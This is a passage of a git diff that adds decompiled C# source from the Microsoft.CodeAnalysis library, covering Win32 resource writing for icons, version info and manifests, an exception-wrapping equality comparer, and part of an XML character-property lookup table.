writer.Write((ushort)1); + writer.Write("VarFileInfo".ToCharArray()); + writer.Write(new byte[KEYBYTES("VarFileInfo") - "VarFileInfo".Length * 2]); + writer.Write((ushort)(10 + KEYBYTES("Translation"))); + writer.Write((ushort)4); + writer.Write((ushort)0); + writer.Write("Translation".ToCharArray()); + writer.Write(new byte[KEYBYTES("Translation") - "Translation".Length * 2]); + writer.Write((ushort)0); + writer.Write((ushort)1200); + writer.Write((ushort)(12 + KEYBYTES("StringFileInfo") + KEYBYTES(_langIdAndCodePageKey) + GetStringsSize())); + writer.Write((ushort)0); + writer.Write((ushort)1); + writer.Write("StringFileInfo".ToCharArray()); + writer.Write(new byte[KEYBYTES("StringFileInfo") - "StringFileInfo".Length * 2]); + writer.Write((ushort)(6 + KEYBYTES(_langIdAndCodePageKey) + GetStringsSize())); + writer.Write((ushort)0); + writer.Write((ushort)1); + writer.Write(_langIdAndCodePageKey.ToCharArray()); + writer.Write(new byte[KEYBYTES(_langIdAndCodePageKey) - _langIdAndCodePageKey.Length * 2]); + _ = writer.BaseStream.Position; + foreach (KeyValuePair verString in GetVerStrings()) + { + long position = writer.BaseStream.Position; + writer.Write(new byte[((position + 3) & -4) - position]); + WriteVersionString(verString, writer); + } + } + } + + internal static void AppendIconToResourceStream(Stream resStream, Stream iconStream) + { + BinaryReader binaryReader = new BinaryReader(iconStream); + if (binaryReader.ReadUInt16() != 0) + { + throw new ResourceException(CodeAnalysisResources.IconStreamUnexpectedFormat); + } + if (binaryReader.ReadUInt16() != 1) + { + throw new ResourceException(CodeAnalysisResources.IconStreamUnexpectedFormat); + } + ushort num = binaryReader.ReadUInt16(); + if (num == 0) + { + throw new ResourceException(CodeAnalysisResources.IconStreamUnexpectedFormat); + } + ICONDIRENTRY[] array = new ICONDIRENTRY[num]; + for (ushort num2 = 0; num2 < num; num2++) + { + array[num2].bWidth = binaryReader.ReadByte(); + array[num2].bHeight = binaryReader.ReadByte(); + array[num2].bColorCount = binaryReader.ReadByte(); + array[num2].bReserved = binaryReader.ReadByte(); + array[num2].wPlanes = binaryReader.ReadUInt16(); + array[num2].wBitCount = binaryReader.ReadUInt16(); + array[num2].dwBytesInRes = binaryReader.ReadUInt32(); + array[num2].dwImageOffset = binaryReader.ReadUInt32(); + } + for (ushort num3 = 0; num3 < num; num3++) + { + iconStream.Position = array[num3].dwImageOffset; + if (binaryReader.ReadUInt32() == 40) + { + iconStream.Position += 8L; + array[num3].wPlanes = binaryReader.ReadUInt16(); + array[num3].wBitCount = binaryReader.ReadUInt16(); + } + } + BinaryWriter binaryWriter = new BinaryWriter(resStream); + for (ushort num4 = 0; num4 < num; num4++) + { + resStream.Position = (resStream.Position + 3) & -4; + binaryWriter.Write(array[num4].dwBytesInRes); + binaryWriter.Write(32u); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)3); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)(num4 + 1)); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)4112); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write(0u); + iconStream.Position = array[num4].dwImageOffset; + binaryWriter.Write(binaryReader.ReadBytes(checked((int)array[num4].dwBytesInRes))); + } + resStream.Position = (resStream.Position + 3) & -4; + binaryWriter.Write((uint)(6 + num * 14)); + binaryWriter.Write(32u); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)14); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)32512); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)4144); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)0); + binaryWriter.Write((ushort)1); + binaryWriter.Write(num); + for (ushort num5 = 0; num5 < num; num5++) + { + binaryWriter.Write(array[num5].bWidth); + binaryWriter.Write(array[num5].bHeight); + binaryWriter.Write(array[num5].bColorCount); + binaryWriter.Write(array[num5].bReserved); + binaryWriter.Write(array[num5].wPlanes); + binaryWriter.Write(array[num5].wBitCount); + binaryWriter.Write(array[num5].dwBytesInRes); + binaryWriter.Write((ushort)(num5 + 1)); + } + } + + internal static void AppendVersionToResourceStream(Stream resStream, bool isDll, string fileVersion, string originalFileName, string internalName, string productVersion, Version assemblyVersion, string fileDescription = " ", string legalCopyright = " ", string? legalTrademarks = null, string? productName = null, string? comments = null, string? companyName = null) + { + BinaryWriter binaryWriter = new BinaryWriter(resStream, Encoding.Unicode); + resStream.Position = (resStream.Position + 3) & -4; + VersionResourceSerializer versionResourceSerializer = new VersionResourceSerializer(isDll, comments, companyName, fileDescription, fileVersion, internalName, legalCopyright, legalTrademarks, originalFileName, productName, productVersion, assemblyVersion); + _ = resStream.Position; + int dataSize = versionResourceSerializer.GetDataSize(); + binaryWriter.Write((uint)dataSize); + binaryWriter.Write(32u); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)16); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)1); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)48); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write(0u); + versionResourceSerializer.WriteVerResource(binaryWriter); + } + + internal static void AppendManifestToResourceStream(Stream resStream, Stream manifestStream, bool isDll) + { + resStream.Position = (resStream.Position + 3) & -4; + BinaryWriter binaryWriter = new BinaryWriter(resStream); + binaryWriter.Write((uint)manifestStream.Length); + binaryWriter.Write(32u); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)24); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)((!isDll) ? 1u : 2u)); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)4144); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write(0u); + manifestStream.CopyTo(resStream); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WrappedUserComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WrappedUserComparer.cs new file mode 100644 index 0000000..756001b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/WrappedUserComparer.cs @@ -0,0 +1,39 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis; + +internal sealed class WrappedUserComparer : IEqualityComparer +{ + private readonly IEqualityComparer _inner; + + public WrappedUserComparer(IEqualityComparer inner) + { + _inner = inner; + } + + public bool Equals(T? x, T? y) + { + try + { + return _inner.Equals(x, y); + } + catch (Exception innerException) + { + throw new UserFunctionException(innerException); + } + } + + public int GetHashCode([DisallowNull] T obj) + { + try + { + return _inner.GetHashCode(obj); + } + catch (Exception innerException) + { + throw new UserFunctionException(innerException); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlCharType.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlCharType.cs new file mode 100644 index 0000000..820f9b8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/XmlCharType.cs @@ -0,0 +1,1023 @@ +namespace Microsoft.CodeAnalysis; + +internal static class XmlCharType +{ + internal const int SurHighStart = 55296; + + internal const int SurHighEnd = 56319; + + internal const int SurLowStart = 56320; + + internal const int SurLowEnd = 57343; + + internal const int SurMask = 64512; + + internal const int fWhitespace = 1; + + internal const int fLetter = 2; + + internal const int fNCStartNameSC = 4; + + internal const int fNCNameSC = 8; + + internal const int fCharData = 16; + + internal const int fNCNameXml4e = 32; + + internal const int fText = 64; + + internal const int fAttrValue = 128; + + private const string s_PublicIdBitmap = "␀\0ᄏ꿿\uffff蟿\ufffe߿"; + + private const int innerSizeBits = 8; + + private const int innerSize = 256; + + private const int innerSizeMask = 255; + + private static readonly byte[] s_charPropertiesIndex = new byte[256] + { + 0, 1, 2, 3, 4, 5, 6, 7, 7, 8, + 9, 10, 11, 12, 13, 14, 15, 16, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 17, 18, 19, 20, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 21, 22, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 24, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 7, 7, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, + 23, 23, 23, 23, 23, 25, 26, 26, 26, 26, + 26, 26, 26, 26, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, + 7, 7, 7, 7, 7, 27 + }; + + private static readonly byte[] s_charProperties = new byte[7168] + { + 0, 0, 0, 0, 0, 0, 0, 0, 0, 17, + 17, 0, 0, 17, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 209, 208, 80, 208, 208, 208, 16, 80, + 208, 208, 208, 208, 208, 248, 248, 208, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 208, 208, + 16, 208, 80, 208, 208, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 208, 208, 144, 208, 252, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 248, 208, 208, 208, 208, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 208, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 208, 208, + 254, 254, 208, 208, 208, 208, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 248, 248, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 254, 248, 254, 254, 254, 208, 254, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 254, 254, 254, + 254, 254, 254, 208, 208, 208, 254, 208, 254, 208, + 254, 208, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 208, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 208, 248, 248, 248, 248, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 208, 208, 254, 254, 208, 208, 254, 254, 208, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 254, 254, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 208, 254, + 208, 208, 208, 208, 208, 208, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 208, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 248, 248, 248, + 208, 248, 208, 248, 248, 208, 248, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 208, + 254, 254, 254, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 208, + 248, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 248, 248, 248, 248, 248, 248, 248, 248, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 208, 208, 208, 208, 208, 208, 248, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 254, 254, 254, 254, 208, 254, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 254, 254, 248, 248, 208, + 248, 248, 248, 248, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 248, + 248, 248, 208, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 208, 248, 254, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 208, 208, 248, + 248, 248, 248, 208, 208, 208, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 248, 248, 208, 208, + 248, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 248, 248, 248, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 208, + 208, 254, 254, 208, 208, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 208, 208, 208, + 254, 254, 254, 254, 208, 208, 248, 208, 248, 248, + 248, 248, 248, 248, 248, 208, 208, 248, 248, 208, + 208, 248, 248, 248, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 248, 208, 208, 208, 208, 254, 254, + 208, 254, 254, 254, 248, 248, 208, 208, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 254, 254, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 248, 208, 208, 254, + 254, 254, 254, 254, 254, 208, 208, 208, 208, 254, + 254, 208, 208, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 254, 254, 254, + 254, 254, 254, 208, 254, 254, 208, 254, 254, 208, + 254, 254, 208, 208, 248, 208, 248, 248, 248, 248, + 248, 208, 208, 208, 208, 248, 248, 208, 208, 248, + 248, 248, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 254, 254, 254, 254, 208, 254, 208, + 208, 208, 208, 208, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 254, 254, + 254, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 248, 248, 248, 208, 254, 254, 254, + 254, 254, 254, 254, 208, 254, 208, 254, 254, 254, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 208, 254, 254, 208, 254, 254, 254, 254, 254, + 208, 208, 248, 254, 248, 248, 248, 248, 248, 248, + 248, 248, 208, 248, 248, 248, 208, 248, 248, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 208, + 208, 208, 208, 208, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 248, 248, 248, 208, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 208, 254, 254, 208, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 208, 254, 254, 254, 254, 254, 254, 254, 208, + 254, 254, 208, 208, 254, 254, 254, 254, 208, 208, + 248, 254, 248, 248, 248, 248, 248, 248, 208, 208, + 208, 248, 248, 208, 208, 248, 248, 248, 208, 208, + 208, 208, 208, 208, 208, 208, 248, 248, 208, 208, + 208, 208, 254, 254, 208, 254, 254, 254, 208, 208, + 208, 208, 248, 248, 248, 248, 248, 248, 248, 248, + 248, 248, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 248, 248, 208, 254, 254, 254, 254, 254, 254, 208, + 208, 208, 254, 254, 254, 208, 254, 254, 254, 254, + 208, 208, 208, 254, 254, 208, 254, 208, 254, 254, + 208, 208, 208, 254, 254, 208, 208, 208, 254, 254, + 254, 208, 208, 208, 254, 254, 254, 254, 254, 254, + 254, 254, 208, 254, 254, 254, 208, 208, 208, 208, + 248, 248, 248, 248, 248, 208, 208, 208, 248, 248, + 248, 208, 248, 248, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 248, 248, 248, 248, 248, 248, 248, 248, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 248, 248, 248, + 208, 254, 254, 254, 254, 254, 254, 254, 254, 208, + 254, 254, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 208, 254, + 254, 254, 254, 254, 208, 208, 208, 208, 248, 248, + 248, 248, 248, 248, 248, 208, 248, 248, 248, 208, + 248, 248, 248, 248, 208, 208, 208, 208, 208, 208, + 208, 248, 248, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 254, 254, 208, 208, 208, 208, 248, 248, + 248, 248, 248, 248, 248, 248, 248, 248, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 248, 248, 208, 254, + 254, 254, 254, 254, 254, 254, 254, 208, 254, 254, + 254, 208, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 208, 254, 254, 254, + 254, 254, 208, 208, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 208, 248, 248, 248, 208, 248, 248, + 248, 248, 208, 208, 208, 208, 208, 208, 208, 248, + 248, 208, 208, 208, 208, 208, 208, 208, 254, 208, + 254, 254, 208, 208, 208, 208, 248, 248, 248, 248, + 248, 248, 248, 248, 248, 248, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 248, 248, 208, 254, 254, 254, + 254, 254, 254, 254, 254, 208, 254, 254, 254, 208, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 208, 254, 254, 254, 254, 254, 254, + 254, 254, 254, 254, 254, 254, 254, 254, 254, 254, + 208, 208, 208, 208, 248, 248, 248, 248, 248, 248, + 208, 208, 248, 248, 248, 208, 248, 248, 248, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 248, + 208, 208, 208, 208, 208, 208, 208, 208, 254, 254, + 208, 208, 208, 208, 248, 248, 248, 248, 248, 248, + 248, 248, 248, 248, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 208, 208, 208, 208, 208, 208, 208, 208, 208, 208, + 